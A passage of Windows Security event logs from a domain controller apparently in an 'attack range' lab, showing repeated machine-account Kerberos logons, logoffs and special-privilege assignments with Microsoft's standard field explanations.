specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248642 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDF96 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248641 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDF35 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248640 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBDF35 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63984 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248639 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDF35 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248638 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDECF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248637 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBDECF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63983 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248636 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDECF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248635 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDE6E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248634 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBDE6E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63982 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:30 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248633 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDE6E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248656 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE127 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248655 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBE127 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63989 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248654 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE127 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248653 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE0C6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248652 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBE0C6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63988 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248651 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE0C6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248650 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE060 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248649 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBE060 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63987 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248648 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE060 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248647 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDFFF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248646 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBDFFF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63986 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248645 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBDFFF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248668 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE2CE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248667 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBE2CE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63993 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248666 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE2CE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248665 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE26D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248664 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBE26D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63992 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248663 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE26D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248662 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE207 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248661 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: 